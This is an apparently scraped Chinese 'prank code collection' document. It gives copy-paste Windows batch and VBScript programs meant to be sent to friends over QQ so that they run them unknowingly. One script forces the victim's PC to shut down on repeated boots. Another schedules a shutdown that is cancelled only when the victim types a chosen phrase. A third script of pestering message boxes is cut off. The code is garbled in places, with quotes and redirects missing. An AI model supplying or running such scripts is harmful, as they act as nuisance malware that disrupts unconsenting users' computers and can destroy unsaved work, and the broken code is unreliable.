新版整人代码大全.doc

天天快乐 整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c:1.txt echo. c:1.txt goto err1 if not exist c:2.txt echo. c:2.txt goto err1 if not exist c:3.txt echo. c:3.txt goto err1s if not exist c:4.txt echo. c:4.txt goto err1 if not exist c:5.txt echo. c:5.txt goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. c:6.txt goto err1那 就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”， 保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说我是猪，不说我是猪就一分钟关你机， 不信，试试··· ,0 ,true dim a do while(a 我是猪) a = inputbox (说我是猪,就不关机，快撒，说 我是猪　,说不说,不说,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox loop msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，一切皆有可能~ ? ? 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友， 对方打开了就在60秒内要关闭计算机， 结束任务都不行，他只能说他是猪才能解决问题。够坏吧？ ? ?注意哦，你可以把我是猪那个修改成任意想说的话， 要是对付你喜欢的人， 就修改成 ? 我爱你 ? 这样他只有说我爱你之后才不关闭计算机哦 ?也可以把时间修改为20 ?就是说打开了20秒就关了 ,还没等对方打完就关机了 ?是不是叫对方很郁闷呢? 让人崩溃的关机程序? 首先你可以看下面的 WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！TSName) WScript.Echo(你是可爱的XX童鞋吗?) WScript.Echo(哈,我想你拉，这你都不知道吗？) WScript.Echo(怎么才来，说~是不是不关心我) WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。) WScript.Echo(夜黑很生气，后果很严重哦。) WScript.Echo(嘿嘿！你也会很惨滴哦) WScript.Echo(是不是想清除我？) WScript.Echo(那你要点上50下哦，不过会给你惊喜滴) WScript.Echo(还剩49下，快点点哦) WScript.Echo(还剩48下，快点，小笨蛋！) WScript.Echo(还剩47下对，就这样快点点！) WScript.Echo(还剩46下。你啊就是笨，要快哦，我先不打扰你工作。) WScript.Echo(还剩45下，记得要快哦！) WScript.Echo(还剩43下) WScript.Echo(还剩42下) WScript.Echo(还剩41下) WScript.Echo(还剩40下) WScript.Echo(还剩39下) WScript.Echo(还剩38下) WScript.Echo(还剩37下) WScript.Echo(还剩36下) WScript.Echo(还剩35下) WScript.Echo(还剩34下) WScript.Echo(还剩33下) WScript.Echo(还剩32下) WScript.Ec